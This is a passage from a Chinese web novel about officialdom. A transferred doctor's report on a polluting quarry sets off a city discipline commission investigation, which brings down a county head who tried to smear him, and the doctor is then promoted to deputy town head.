办公室里的空气,死一般地寂静。
就在这时,钱国栋桌上的那部红色电话机,再一次响了起来。
钱国栋看了一眼来电,嘴角勾起一抹不易察觉的弧度。
他接起电话,按下了免提。
一个沉稳而威严的声音传来,与之前的张海涛、刘局长截然不同。
“是青山镇的钱国栋同志吗?我是市纪委监委的,我叫高建民。关于网上反映的,你们青川县宏发石料厂的严重污染问题,以及可能存在的干部失职渎职、充当保护伞的情况,请你马上准备一份详细的报告,半小时后,市纪委的工作组就到。”
市纪委!
刘副局长的身体猛地一晃,差点没站稳。
他脸上的血色,在这一刻褪得干干净净。
游戏,升级了。
叶凡,用一招漂亮的“图穷匕见”,不仅保住了自己的胜利果实,更是成功地将整个棋盘,从县级,直接掀到了市级。
他逼着柳传明,不得不从幕后,走到台前。
而他,也即将迎来一场更高级别,也更凶险的对决。
第15章 送瘟神,迎阎王!
钱国栋办公室里的空气,因为免提电话里传出的“市纪委”三个字,而瞬间凝固成了冰。
刘副局长伸向报告的手,僵在半空中,像是被按下了暂停键的劣质动画。
他脸上的官威、傲慢、不屑,在短短一秒钟内全部碎裂,只剩下一种纯粹的、见了鬼般的惊骇。
他甚至下意识地后退了半步,仿佛桌上那份报告是什么滚烫的烙铁。
“钱、钱**……”刘副局长的声音干涩得像是被砂纸打磨过,他试图挤出一个笑容,但脸部肌肉完全不听使唤,最终扭曲成一个比哭还难看的表情,“这……这真是……大水冲了龙王庙啊。高**亲自过问,看来市里对这件事是真的很重视,好事,好事啊!”
他身后的那几个“督导组”成员,更是噤若寒蝉。
刚才还人五人六、眼神挑剔的几个人,此刻都恨不得把自己缩成一团,降低存在感,目光纷纷投向地面,仿佛那老旧的水泥地上能开出花来。
钱国栋挂断电话,神情没有丝毫变化,只是拿起自己的搪瓷茶杯,慢悠悠地吹了吹热气。
他甚至没有再看刘副局长一眼,而是对站在门口的王秘书说:“小王,去把我那罐最好的龙井拿出来,准备迎接市纪委的同志。另外,通知食堂,中午加两个硬菜,标准要高,但菜式要家常,别搞那些花里胡哨的。”
这番话,每一个字都像一记无形的耳光,抽在刘副局长的脸上。
迎接纪委,用最好的茶,加最好的菜。
那你们这群卫生局的“督导组”算什么?连口凉水都没混上。
刘副局长额头的冷汗已经冒了出来,顺着鬓角滑下。
他知道,自己今天彻底栽了。
他不是栽给了钱国栋,也不是栽给了那个叫叶凡的小子,他是栽给了那个叫“**”的鬼东西,栽给了那个他连面都没见过的市纪委高建民。
他现在唯一的念头,就是赶紧离开这个是非之地。
“那个……钱**,既然市纪委的同志要来,我们卫生局的‘督导’工作,就不给您添乱了。”刘副局长强撑着场面,“我们这就回去,也向局里主要领导汇报一下情况,积极配合纪委的调查工作。”
他说着,就想带着人开溜。
“哎,刘局长别急着走嘛。”钱国栋终于抬起了眼皮,慢条斯理地放下茶杯,“来都来了,怎么也得喝杯水。小王,给刘局长和几位同志倒水。”
王秘书心领神会,立刻拿着几个一次性纸杯,给刘副局长一行人一人倒了一杯白开水。
那水刚从暖瓶里倒出来,烫得根本没法下嘴。
刘副局长端着那杯烫手的开水,走也不是,留也不是,一张脸憋成了猪肝色。
他感觉自己不是来督导工作的,是来这里罚站的。
钱国栋这才站起身,走到他面前,脸上带着一种老干部特有的、意味深长的微笑:“刘局长,有句话,不知道当讲不当讲。”
“您说,您说。”刘副局长此刻谦卑得像个小学生。
“你们卫生系统,讲究一个‘对症下药’。我们基层工作,也讲究一个‘实事求是’。”钱国栋的声音不高,却清晰地传到每一个人耳朵里,“群众的健康出了问题,我们不想着怎么治病,不想着怎么挖掉病根,反而想着去捂病人的嘴,去改写病历。刘局长,你说,这是个什么道理?”
刘副局长张了张嘴,一个字也说不出来。
冷汗已经浸湿了他的后背。
“回去告诉柳副部长。”钱国栋忽然凑近一步,声音压得极低,只有他们两人能听见,“他爱惜自己的羽毛,我也爱惜我这肩上的担子。青山镇的天,塌不下来。但谁要是想把这天捅个窟窿,那就要做好被掉下来的石头砸死的准备。”
说完,他直起身,挥了挥手,像是驱赶几只苍蝇:“几位慢走,不送。”
刘副局长如蒙大赦,几乎是落荒而逃。
他带着他那几个同样失魂落魄的组员,灰头土脸地钻进轿车。
来的时候气势汹汹,走的时候,连车门都关了好几次才关上。
看着那三辆黑色轿车仓皇离去,政府大院里,那些从门缝里、窗户里偷看了半天戏的干部们,终于忍不住发出一阵压抑的、畅快淋漓的议论声。
“走了?就这么走了?”
“不然呢?留下来等着跟纪委的同志一起吃午饭啊?”
“我的天,刚才钱**那几句话,简直是按着对方的脸在地上摩擦啊!”
“看见没,这才是高手过招!不动声色,**诛心!”
叶凡站在自己办公室的窗边,将这一切尽收眼底。
他不得不佩服钱国栋的手段,既把人怼得体无完肤,又占尽了程序和道理,让你连半句反驳的话都说不出来。
这种深厚的功力,是自己目前远远不及的。
不到半小时,两辆牌照非常普通的黑色大众轿车,悄无声息地驶入了镇政府大院。
车上下来五个人,为首的是一个五十岁左右的男人,国字脸,神情严肃,眼神锐利得像鹰,正是市纪委**、监委委员高建民。
他身后跟着的四个人,两男两女,个个表情冷峻,步履沉稳,手里提着统一的黑色公文包,自带着一股让人不敢直视的强大气场。
他们没有惊动任何人,直接在王秘书的引导下,上了二楼。
钱国栋迎了出去,和高建民握了握手:“高**,欢迎来我们青山镇指导工作。”
“国栋同志,我们不是来指导工作的,是来调查问题的。”高建民开门见山,语气不带任何感**彩,“闲话少说,找一间安静的会议室,我们需要马上开始工作。你和那个叶凡同志,分开谈话。”
这雷厉风行的作风,让整个二楼的空气都为之一肃。
送走了虚张声势的瘟神,却迎来了真正铁面无情的阎王。
叶凡被安排在隔壁一间空置的办公室里等待。
房间里很简陋,只有一张桌子两把椅子。
他坐下来,背脊挺直,双手平放在膝盖上,就像每次重大手术前,在休息室里调整状态一样。
他知道,接下来他要面对的,是另一场“手术”。
谈话对象是“病人”,病人的心理、动机、逻辑漏洞就是“病灶”。
而高建民,就是主刀医生。
自己,则是这场手术的关键“物证”,同时也是被审视的“器械”,他们要确保这把刀本身是干净的,锋利的。
脑海里,他快速复盘着整件事的来龙去脉。从村民的病症,到水样和生物样本的采集,再到和柳志鹏的冲突,以及苏沐秋的出现。
每一个环节,每一个细节,他都像过电影一样,在脑中预演了一遍可能被问及的问题。
他最大的优势,是事实。
他最大的底气,是动机。
他从不是为了扳倒谁,而是为了治病救人。
这个初心,是他最坚固的防线。
但他心中也清楚,绝对不能透露钱国栋,要不然什么都说不清了!
大约一个小时后,一名年轻的女性纪委干部推门进来,面无表情地说:“叶凡同志,高**请你过去。”
走进会议室,高建民正坐在主位上,翻看着那份省疾控中心的检测报告。
钱国栋已经不在了。
房间里除了高建民,还有一男一女两个记录员,正襟危坐,气氛严肃得能拧出水来。
“坐。”
高建民头也没抬。
叶凡拉开他对面的椅子,坐下。
高建民又看了足足五分钟的报告,才缓缓抬起头,那双鹰隼般的眼睛第一次落在了叶凡的身上,仿佛要将他从里到外看个通透。
“叶凡,市三甲医院心外科主治医生,技术骨干。一个月前,主动申请下放到青山镇卫生院。对吗?”高建民的声音很平,听不出任何情绪。
“对。”
“为什么?一个前途光明的市级专家,为什么要主动来这个全县最偏远、条件最差的乡镇?”高建民的问题,像手术刀一样精准,直击要害。
“个人原因。”叶凡回答得也很干脆。
“什么个人原因?”高建民追问。
“我认为这和本次调查的事件无关。”叶凡没有回避他的目光,平静地对视。
高建民的嘴角似乎微不可察地动了一下。
他没有继续在这个问题上纠缠,而是换了个角度:“你是什么时候发现平安村的污染问题的?”
“我来报到的第三天。”叶凡开始详细地陈述,“我遇到了一个来卫生院开止痛药的村民,我发现他的症状并非简单的关节炎,而是有典型的氟骨症和重金属**的体征。出于医生的职业习惯,我做了进一步的了解,发现这在村里并非个例。”
他的陈述,完全是站在一个医生的角度,客观、冷静、专业。
没有情绪渲染,没有个人判断,只有观察、发现和初步诊断。
“你懂毒理学?”
“本
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科期间系统学习过,之后也一直关注相关领域的进展。心外科手术中,会用到一些含有微量金属的材料,比如合金瓣膜,所以我们对重金属对人体的影响,必须有足够的了解。”叶凡的回答,再次展现了他的专业性。
高建民点点头,显然对这个答案很满意。
他要的是事实依据,而不是一腔热血。
“这份报告,我看过了,很专业,证据链也很完整。”高建民指了指桌上的报告,“但是,从发现问题,到采集样本,再到绕开县市两级,直接送到省里。这一整套操作,非常规,也非常大胆。这不是一个普通医生能有的思路。是谁教你的?”
这是一个陷阱。
如果叶凡说是钱国栋,那就等于把钱国栋推到了前台,坐实了“有预谋、有策划”的印象。
叶凡笑了笑,那是在手术台上,遇到突发状况后,安抚助手和护士时才会露出的笑容,自信而沉稳。
“高**,这更像是一个外科医生的思路。当我们面对一个急症病人,比如主动脉夹层破裂,我们不会按部就班地先去讨论半天,而是会立刻开辟绿色通道,直接送进手术室。因为我们知道,每耽误一分钟,病人死亡的风险就增加一分。”
他顿了顿,看着高建民,目光变得锐利起来:“在我看来,整个平安村,就是一个正在大出血的病人。宏发石料厂,就是插在它身体上的一把刀。常规的程序,就像是层层上报、等待会诊,等流程走完,病人早就失血过多死掉了。我能做的,就是用最快、最直接的方式,为他止血。至于把样本送到省里,是因为我知道,只有最权威的机构,才能做出最准确的诊断,这个诊断结果,才不会被任何人质疑。”
这番“手术论”,让会议室里两个做记录的年轻人都忍不住抬起了头,眼神里充满了惊讶。
他们从未听过有人用如此新颖、又如此贴切的比喻来解释自己的行为。
高建民的眼中也终于露出了一丝赞许。
但他脸上的表情依旧严肃。
“你和柳传明副部长的儿子,柳志鹏,在镇政府发生了冲突。据我们了解,柳志鹏是宏发石料厂的幕后老板之一。”高建民话锋一转,抛出了最尖锐的问题,“而柳传明的女儿,柳如烟,是你的前妻。你敢说,你做这一切,没有一点私人恩怨夹杂在里面?没有一点报复的成分?”
来了,最核心的动机拷问。
整个房间的空气,再次凝固。
叶凡沉默了片刻,他没有立刻辩解,而是反问了一句:“高**,您是一位经验丰富的办案专家。我想请教一个问题,在判断一个人的行为时,是他的动机更重要,还是他行为造成的结果更重要?”
高建民一愣,显然没想到叶凡会反问。
叶凡继续说道:“就算我对他,对他们家,有天大的仇恨。那么,我报复他们的方式,是去捏造证据,是去诬告陷害?还是用事实,去揭露一个正在毒害几百名百姓的真相?”
“如果揭露真相、拯救病人也算是一种报复,那我承认,我就是在报复。”
“我的个人恩怨,和那份报告上的每一个超标的数字相比,和村民们痛苦的呻吟相比,和那些因为污染而早逝的生命相比,它重要吗?它一文不值。”
他的声音不高,但每一个字,都掷地有声,在安静的会议室里回响。
坦荡,磊落,甚至带着一种理直气壮的傲骨。
高建民死死地盯着他,足足有半分钟。
那双锐利的眼睛里,审视、怀疑、考验,种种情绪在交锋。
最终,所有的情绪都化为了一种深沉的平静。
他合上了桌上的卷宗,站起身,向叶凡伸出了手。
“叶凡同志,谢谢你的配合。你是一个好医生。”
这是他进来之后,第一次称呼叶凡为“同志”。
叶凡也站起身,握住了那只手。
很有力,很温暖。
他知道,这场至关重要的“手术”,他成功了。
他不仅切掉了别人泼来的脏水,更是在这位市纪委领导的心里,成功地“植入”了信任。
走出会议室,走廊外的阳光正好,有些刺眼。
钱国栋正靠在走廊尽头的窗边抽烟,看到他出来,掐灭了烟头,什么也没问,只是朝他笑了笑。
叶凡也笑了。
两人都明白,青山镇的天,暂时是塌不下来了。
但江城市的天,恐怕要变了。
第16章 暗流涌动,隔山打牛!
市纪委工作组的到来,像一块巨石投进了青川县这潭看似平静的池水里,激起的涟可不仅仅是在青山镇。
高建民的效率高得吓人。
在和叶凡、钱国栋谈完话的当天下午,工作组就兵分两路。
一路留在青山镇,对平安村的村民进行新一轮的取证和问询,并正式查封了宏发石料厂。
另一路,由高建民亲自带队,直接杀到了青川县城。
一时间,整个青川县的官场,风声鹤唳。
县政府大楼里,气氛压抑得可怕。
平日里那些热衷于串门聊天、看报喝茶的干部们,如今都老老实实地待在自己的办公室里,大门紧闭,连说话的声音都小了八度。
谁都知道,纪委这把刀已经架在了所有人的脖子上,谁也不知道下一刀会砍向谁。
县长马保国的办公室,已经快成了烟厂。
他一根接一根地抽着烟,名贵的黄鹤楼在他嘴里,却品出了苦涩的味道。
他那个满脸横肉的堂兄,也就是石料厂老板周宏发的连襟,此刻正像一只热锅上的蚂蚁,在他办公室里走来走去。
“哥!马哥!这可怎么办啊!”胖堂兄急得满头大汗,“那个周宏发已经被纪委的人带走谈话了,整整五个小时了,手机也关机了!他要是顶不住,把什么都招了,那……那我们……”
“慌什么!”马保国猛地把烟头摁在烟灰缸里,低吼了一声,也不知道是在吼堂兄,还是在给自己壮胆,“天塌下来有高个子顶着!这事,柳家能不管吗?”
话是这么说,但他心里一点底都没有。
柳志鹏那个草包是指望不上了,而柳传明远在市里,鞭长莫及。
更何况,柳传明那种人,最是爱惜羽毛,一旦发现事情失控,第一个抛弃的,就是他们这些外围的棋子。
“叮铃铃——”
办公室的红色电话突然响起,吓得两人都是一哆嗦。
马保国看了一眼来电显示,是县委**张海涛的专线。
他深吸一口气,整理了一下情绪,才拿起电话。
“喂,张**。”
“保国同志,你现在立刻到我办公室来一趟。”张海涛的声音听不出喜怒,但熟悉他的人都知道,这恰恰是他最愤怒时的表现。
挂了电话,马保国对堂兄摆了摆手:“你先回去,这几天别露面,等我消息。”
打发走堂兄,马保国在镜子前整理了一下自己的衣领,努力让自己看起来镇定一些,然后快步走向了张海涛的办公室。
张海涛的办公室里,没有烟味,只有一股淡淡的茶香。
但他那张阴沉的脸,比马保国办公室里的乌烟瘴气还要压抑。
“坐。”张海涛指了指沙发。
马保国如坐针毡。
“高建民同志刚才给我来过电话了。”张海涛慢悠悠地开口,像是在陈述一件跟自己无关的事情,“他通报了一下初步调查的情况。宏发石料厂存在严重的环境违法、安全生产违规、****等诸多问题。他还说,根据初步掌握的线索,石料厂之所以能盘踞青山镇这么多年,是因为县里个别领导干部,为其充当了‘保护伞’。”
“保护伞”三个字,像三根钢针,扎进了马保国的心里。他的后背瞬间就湿了。
“张**,这……这绝对是污蔑!我们县政府对环境问题一向是高度重视的,每年都开会强调……”
“行了!”张海涛不耐烦地打断了他,眼神锐利地盯着他,“保国同志,我们搭班子也不是一天两天了。周宏发跟你堂兄是什么关系,你别告诉我你不知道!现在火已经烧到眉毛了,你跟我说这些官话套话,有意思吗?”
马保国的脸色,一阵红一阵白。
张海涛叹了口气,语气缓和了一些:“老马,我不是要追究你的责任。现在我们是一条船上的人,船要是翻了,谁也跑不了。市纪委这次是带着尚方宝剑来的,背后还有那么大的**压力,他们是不查出个子丑寅卯来,绝不会收兵的。我们现在要考虑的,不是怎么捂盖子,而是怎么弃车保帅。”
弃车保帅!
马保国心里一寒,他看着张海涛,忽然明白了。
张海涛这是要牺牲他,来保全整个青川县的“大局”,和他自己的位置。
“张**,您的意思是……”
“周宏发,必须严办。石料厂的问题,必须一查到底。”张海涛斩钉截铁,“至于你,主动一点,向纪委说明情况,承认自己有‘失察’之责,但一定要咬**,你只是监管不力,对石料厂的严重违法问题并不知情。态度要诚恳,姿态要放低。这样一来,最多也就是个处分,位子,或许还能保得住。”
这番话,说得冠冕堂皇,实际上却是釜底抽薪。
马保国心里涌起一股彻骨的寒意和不甘。
他辛辛苦苦爬到今天这个位置,凭什么要为一个周宏发,为一个不知从哪冒出来的叶凡,就背上一个处分,断送自己的前途?
不行,绝不能坐以待毙!
马保国的大脑飞速运转起来。
硬碰硬肯定不行,纪委手里有铁证。
唯一的办法,就是把水搅浑,转移视线。
他忽然想起了柳志鹏提过的一件事。
“张**,这件事的起因,很蹊跷。”马卫国压低了声音,装出一副欲言又止的样子,“据我所知,那个挑起事端的叶凡,是柳传明副部长的……前女婿。两人离婚离得非常不愉快。而且,我听说,叶凡在市里的时候,个人作风就很有问题,据说是婚内出轨,才被柳家扫地出门的。”
“哦?”
张海涛的眉头挑了一下,来了兴趣。
“您想,”马保国趁热打铁,“一个有作风问题、被岳丈家赶出门的医生,一到我们青山镇,就立刻盯上了他前大舅子的生意,招招致命,还动用媒体把事情捅到天上去。这里面,会不会有挟私报复的动机?他提供的那些所谓‘证据’,会不会也是动了手脚的?我们不能只听他一面之词,就让整个县的干部都跟着陪绑啊!”
这招“隔山打牛”,阴险至极。
他不敢直接攻击叶凡的证据,却从叶凡的“动机”下手。
只要能证明叶凡“动机不纯”,那他所有行
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为的正义性,就会大打折扣。
纪委在办案时,也必然会多一分考量。
张海涛沉默了。
他用手指轻轻敲击着桌面,眼神闪烁不定。
他知道马保国是在垂死挣扎,但不得不说,这番话,确实提供了一个新的思路。
如果能把这件事定性为“私人恩怨引发的过激行为”,那他作为县委**的领导责任,无疑会小很多。
“你说的这些,有证据吗?”张海涛问。
“证据,柳家大少那里肯定有!”马保国眼睛一亮,“我这就联系他,让他把当初叶凡出轨的‘铁证’,想办法递到纪委工作组手里!只要纪委的人对叶凡的品行产生了怀疑,我们的压力,就能小一大半!”
张海涛没有点头,也没有摇头。
他只是端起茶杯,喝了一口茶,淡淡地说:“保国同志,注意方式方法,不要授人以柄。”
马保国立刻明白了。这是默许了。
他心中涌起一股绝处逢生的狂喜,匆匆告辞,立刻就去安排了。
……
江城市,一家高级咖啡厅里。
苏沐秋的面前,坐着她报社的总编辑。
总编的脸上,满是为难。
“沐秋啊,你那篇报道,影响太大了。”总编叹了口气,“上面打了好几个电话来,说我们报道失实,**情绪。宣传部的柳副部长,亲自过问了这件事。”
“总编,我写的每一个字,都有事实依据!”苏沐秋据理力争,“我有人证,有物证,平安村的污染问题,触目惊心,这是事实!”
“我当然相信你。”总编苦笑道,“但新闻,不光要讲事实,有时候,也得讲**。柳副部长的面子,我们不能不给。这样吧,这件事,你暂时不要再跟进了。后续的报道,我们会安排其他记者,以官方通报为准。”
这是要摘桃子,更是要封她的口。
苏沐秋的心里,像堵了一块石头。
她知道,这是柳传明开始动用他的权力,在媒体层面进行反击了。
她不甘心,她想起了那个在青山镇,独自面对一切的叶凡。
她拿出手机,想给他打个电话,提醒他小心。
但号码拨到一半,她又停住了。
她能提醒什么呢?提醒他柳传明很厉害?他比谁都清楚。
想了想,她编辑了一条短信,发了过去。
“我被禁言了。你自己,多加小心。柳家在动用媒体关系,可能会有针对你的不实报道出来。记住,你是医生,事实和专业,是你最强的武器。”
发完短信,她看着窗外车水马龙的城市,忽然觉得有些讽刺。
在繁华的都市里,真相,有时候竟然如此脆弱。
而在青山镇,叶凡的手机震动了一下。
他看完苏沐秋的短信,眼神微微一凝,随即又恢复了平静。
他把手机放回口袋,抬起头,看向窗外那棵沉默的黄桷树。
暴风雨,要来了。
他知道,柳传明真正的反击,绝不会只是封住一个记者的口那么简单。
一场更隐蔽,也更致命的攻击,正在暗中酝酿。
第17章 抽丝剥茧,以直报怨!
山雨欲来风满楼。
接下来的两天,纪委工作组在青川县掀起的风暴愈演愈烈。
他们像一台精密的手术机器,没有大张旗鼓的搜查,也没有声色俱厉的审问,只是通过一次次精准的“谈话”,抽丝剥茧,将盘踞在青川县上空的保护伞,一层层地剥离开来。
县环保局局长被叫去谈话后,出来时两腿发软,第二天就递交了检查,主动承认了在宏发石料厂的环评报告上“审核不严”。
县土地局的一个副局长在被问及石料厂的违规占地问题时,当场情绪失控,痛哭流涕,交代了自己收受周宏发贿赂的事实。
网,正在一步步收紧。
马保国坐立不安,他把所有的希望,都寄托在了那份能证明叶凡“品行不端”的黑材料上。
通过柳志鹏的关系,那几张当初用来逼迫柳如烟离婚的“亲密照片”,以及一份添油加醋、将叶凡描绘成一个卑劣无耻的报复者的匿名**,被悄悄地送到了纪委工作组一位年轻成员的手里。
高建民的临时办公室里。
那位年轻的纪委干部正拿着那份匿名信和照片,向高建民汇报。
“高**,我们收到了这样一份材料。”他有些犹豫地说道,“举报人称,叶凡之所以针对宏发石料厂,完全是出于私人恩怨,报复其前妻柳家。这里还有他婚内出轨的照片……如果情况属实,那我们这次调查的性质,可能就要重新评估了。叶凡本人,也存在严重的品行问题。”
高建民接过那几张照片,只看了一眼。
照片拍得很有水平,昏暗的雨天背景,一个男人正搀扶着一个年轻女子,两人身体靠得很近,女子的表情看起来有些依赖和感激,而男人的侧脸在模糊的光影下,显得有些暧昧。
任何不了解前因后果的人,看到这张照片,都会产生无限的联想。
高建民的脸上没有任何表情。
他没有像那个年轻干部一样,立刻去质疑叶凡的动机,反而问了一个毫不相干的问题:“这份材料,是谁送来的?”
“说是……一个匿名的‘正义群众’。”
“正义群众?”高建民的嘴角勾起一抹冷冽的讥讽,“我们工作组进驻青川县,所有的线索举报都有正规的渠道和流程。这份材料,绕开了所有流程,精准地送到了你的手里。你不觉得,这个‘正义群众’,神通广大得有点可疑吗?”
年轻干部一愣,额头渗出了冷汗。
“办案,讲究的是证据。但更要学会分析证据背后的人。”高建民的声音不重,却像锤子一样敲在他的心上,“在我们调查最关键的时候,忽然冒出这么一份攻击核心举报人的黑材料,目的是什么?是想帮我们查清真相,还是想把水搅浑,转移我们的视线?”
他将那几张照片,轻轻地扔在桌上:“去,给我查。倒查这份材料的来源,从你开始,一步步往前查。我倒想看看,这个躲在背后的‘正义群众’,到底是谁!”
这一下,年轻干部彻底醒悟了。
他不仅没能动摇高建民,反而因为自己的“不专业”,差点成了别人手里的枪。
他羞愧地低下头:“是!我马上就去查!”
高建民的这一手,正是“以直报怨”。
你跟我玩阴的,我不跟你吵,直接用阳谋,用组织的纪律和程序,反过来查你。
马保国和柳志鹏自以为高明的“隔山打牛”,不仅没能打中叶凡,反而像一拳打在了钢板上,把自己震得生疼。
更可怕的是,他们留下了自己的指纹。
当天下午,市纪委工作组正式约谈了县长马保国。
高建民没有说任何关于污染案的事情,他只是将一张打印出来的通话记录清单,推到了马卫国的面前。
“马卫国同志,根据我们的技术调查,在过去的三天里,你这个号码,和江城市一个尾号为8888的号码,有过七次通话记录。而这个号码的主人,是柳志鹏。”
马卫国的脸色“刷”的一下,全白了。
“就在昨天下午,柳志鹏的司机和一个叫李四的人见了面。而这个李四,今天上午,就出现在了我们工作组的驻地附近。马县长,你能解释一下,这都是巧合吗?”高建民的每一个字,都像一柄重锤,狠狠地砸在马保国脆弱的心理防线上。
马保国张着嘴,浑身发抖,一个字也说不出来。
他完了。他知道自己彻底完了。
他精心设计的阴谋,在纪委强大的技术手段和侦查能力面前,就像小孩子的把戏一样可笑。
“诬告陷害,干扰纪委办案。马保国同志,你很不错啊。”高建民的语气里充满了失望和冰冷。
马保国的心理防线,在这一刻彻底崩溃。
他“扑通”一声,几乎是从椅子上滑了下来,嘴里语无伦次地喊着:“我说,我全说!是周宏发,是他每年给我送钱,求我帮忙打招呼……还有那块地,也是我批给他的……我错了,高**,我一时糊涂啊!”
看着这个前一刻还位高权重的县长,此刻却丑态百出,
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高建民的眼中没有一丝波澜。
他只是对身边的记录员挥了挥手。
当天傍晚,一则消息以最快的速度传遍了青川县:经市纪委监委研究决定,对青川县县长马保国、县环保局局长**,青山镇副镇长马卫国等人,正式采取留置措施,立案审查调查。
消息传来,青山镇政府大院里,一片欢腾。
李德海院长第一时间就给叶凡打来了电话,激动得语无伦次:“叶神医!不,叶青天!您真是……真是太神了!不出手则已,一出手就直接把县长给办了!痛快!太痛快了!”
叶凡只是淡淡地笑了笑,挂了电话。
他没有太多的喜悦,因为他知道,马保国只是柳家在青川县的一条狗。
打**一条狗,主人会心疼,但更会愤怒。
这次的事情他彻底得罪了柳家!
他真正的对手,他的前岳父柳传明至今还毫发无损地稳坐在市里。
晚上,钱国栋把叶凡叫到了家里。
钱国栋的老婆周雅芬特意做了几个家常菜,钱国栋拿出了一瓶珍藏多年的茅台。
“今天,值得喝一杯。”钱国栋亲自给叶凡倒满了酒,“你这一仗,打得漂亮。不仅把脓包挤了,还顺带把病灶周围的坏死组织也给清除了。”
“是您指挥得好。”叶凡举起杯,“我只是个负责开刀的。”
两人碰了一下杯,一饮而尽。
辛辣的酒液入喉,带来一阵火热。
“别高兴得太早。”钱国栋放下酒杯,眼神变得深邃,“马保国倒了,青川县这个盘子,就空出来一块。接下来,县里的人事,必然会有一番龙争虎斗。而柳传明,也绝不会善罢甘休。他失去了一个棋子,下一步,他可能会亲自下场了。”
叶凡点了点头,他明白这个道理。
“不过,你也不用太担心。”钱国栋话锋一转,脸上露出一丝神秘的笑容,“这次你立了大功,市里对你,肯定会有个说法。高建民临走前,特意跟我聊了半个小时。他对你,赞不绝口。”
“他跟我说,一个好医生,能救一个人的命。但一个有仁心、有头脑、有担当的好干部,能救一方百姓。他觉得,让你一直待在卫生部门,是屈才了。”
叶凡的心,猛地一跳。
他听懂了钱国栋话里的潜台词。
仕途之路,那扇曾经紧闭的大门似乎在经历了一场惊心动魄的风暴之后,终于向他,缓缓地,打开了一道缝隙。
而门外,是更广阔的天地,也是更凶险的江湖。
第18章 尘埃落定,风波再起!
马保国被带走的消息,像一阵秋风,一夜之间吹遍了青川县的每一个角落。
县政府大楼里,压抑的空气仿佛凝固成了实质,每一个干部都像是被霜打了的茄子,垂着头,小心翼翼地呼吸。
他们看向青山镇的方向时,眼神里充满了复杂的情绪。
有敬畏,有恐惧,还有一丝难以言说的嫉妒。
那个叫叶凡的年轻人,那个从市里被“发配”下来的医生,用一种所有人都看不懂的方式,只用了短短一个月,就掀翻了一位实权县长。
这在青川县的官场历史上,是前所未有的。
与县城的死寂不同,青山镇,尤其是平安村,则是一片欢腾的海洋。
村民们自发地买来鞭炮,在村口放了整整一个上午,那噼里啪啦的响声,驱散了笼罩在村子上空多年的阴霾。
张大山老人抱着儿子的遗像,站在新立的村务公开栏前,看着上面张贴的县纪委红头通报,浑浊的老泪纵横。
他一遍又一遍地抚摸着照片,嘴里喃喃自语。
“儿啊,你看见了没?”
“害了你的那些畜生,倒了!”
“给我们做主的青天大老爷,来了!”
他口中的“青天大老爷”,此刻正坐在镇卫生院的办公室里,给一个孩子处理擦伤的胳膊。
叶凡的神情专注而温柔,仿佛外面那场足以震动全县的官场地震,与他毫无关系。
他依然是那个医生。
治病,救人。
这是他的本职,也是他的初心。
然而,有人却因为他,彻夜难眠。
……
江城**宣传部,副部长办公室。
柳传明背着手,站在巨大的落地窗前,俯瞰着脚下这座城市的万家灯火。
他的脸上没有丝毫平日里的儒雅和从容,取而代之的是一种铁青色的阴沉。
桌上的紫砂茶杯,已经凉透了。
他没有喝一口。
马保国倒了。
这不仅仅是损失了一条听话的狗那么简单。
这是对他柳传明的一次公然挑衅,一记响亮的耳光。
他精心布局,试图用**反击,用黑材料攻击叶凡的品行,结果却被那个他从未放在眼里的市纪委高建民,用一种更强硬、更不讲情面的方式,把所有的阴谋诡计全部砸了回来。
他不仅没能把水搅浑,反而把自己的人,彻底陷了进去。
他犯了一个致命的错误。
他低估了叶凡。
他更低估了那个看似就要退休、与世无争的老狐狸,钱国栋。
这两个人,一个像最锋利的手术刀,精准狠辣,直击要害。
一个像最沉稳的掌舵人,在惊涛骇浪中,总能稳住航向,甚至借力打力。
“叮铃铃——”
办公桌上的私人电话响了起来。
柳传明看了一眼来电显示,眼中闪过一丝厌恶,但还是接了起来。
“爸!怎么办啊!姓马的被抓了,周宏发也彻底交代了!听说纪委的人下一步就要查石料厂的资金往来了!我的公司跟石料厂有账务往来,他们会不会查到我头上来啊?”
电话那头,是柳志鹏惊慌失措的声音,像一只被踩了尾巴的猫。
“慌什么!”
柳传明低声喝斥,声音里蕴含着压抑的怒火。
“你做的那些烂事,我都给你处理干净了!账目是合法的,就算查,也查不出致命的问题!”
“可是……可是那个叶凡……”
“闭嘴!”
柳传明猛地提高了音量。
“以后,不要再在我面前提这个名字!”
他深吸了一口气,强迫自己冷静下来。
“志鹏,你听着。从今天起,你在江城所有的生意,全部暂停。人,给我老老实实待在家里,哪儿也不许去。谁的电话也别接,谁也别见。给我记住,你现在就是一个什么都不知道的纨绔子弟!”
“爸,那叶凡他……”
“他蹦跶不了几天了。”柳传明的声音变得阴冷无比,“**,不是街头斗殴,不是比谁的拳头硬。他这次能赢,是因为他占了一个‘理’字,还有一个‘民’字。但官场这个棋盘上,光有这两样,是走不远的。”
“他动了我的棋子,就等于向我宣战。”
“既然他想玩,那我就陪他好好玩玩。”
“我会让他明白,什么叫做真正的‘规矩’,什么叫做,不可撼动的‘权力’。”
挂了电话,柳传明重新走到窗边。
城市的夜景璀璨依旧,但在他的眼里,却多了一抹肃杀的寒意。
风暴,才刚刚开始。
……
三天后,青山镇政府。
一切似乎都已尘埃落定。
叶凡的日子又恢复了往常的节奏,镇政府、卫生院、平安村,三点一线。
他甚至抽空制定了一份详细的《平安村后续环境治理及村民健康康复计划》,里面详细罗列了清淤、土壤修复、饮用水改造、村民分批体检、建立长期健康档案等一系列措施。
这份计划,他交给了钱国栋。<
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br>钱国栋看着这份逻辑严谨、数据详实、可操作性极强的计划书,半天没说话,只是一个劲地抽着烟。
“小子,你天生就是干这个的料。”许久,他才摁灭烟头,感慨了一句。
“我只是个医生。”叶凡说。
“不。”钱国栋摇了摇头,“你现在,已经不仅仅是个医生了。”
他说着,从抽屉里拿出一份盖着**组织部公章的**,推到了叶凡面前。
“看看吧,市里的任命,下来了。”
叶凡的目光,落在了那份文件上。
白纸,黑字,红色的印章,每一个字都带着一种不容置疑的力量。
“关于叶凡同志的任职通知”。
“经**组织部研究决定,并征得青川县委同意,任命叶凡同志为青山镇委员、青山镇副镇长,试用期一年。”
副镇长。
这三个字,像一块沉甸甸的石头,落进了叶凡的心里。
他不再是借调的“叶助理”,而是名正言顺的,拥有了“官身”的领导干部。
他知道,这不仅仅是一份奖励。
这是高建民所代表的市里某些领导,对他的一种认可和支持。
更是在青川县这片复杂的土地上,给他插上了一面旗帜。
他心中也清楚这肯定是他的前岳父柳传明等人最不想看到的!
他们肯定以为自己这个“废物”会从此沉沦,不再出现在他们的视野中。
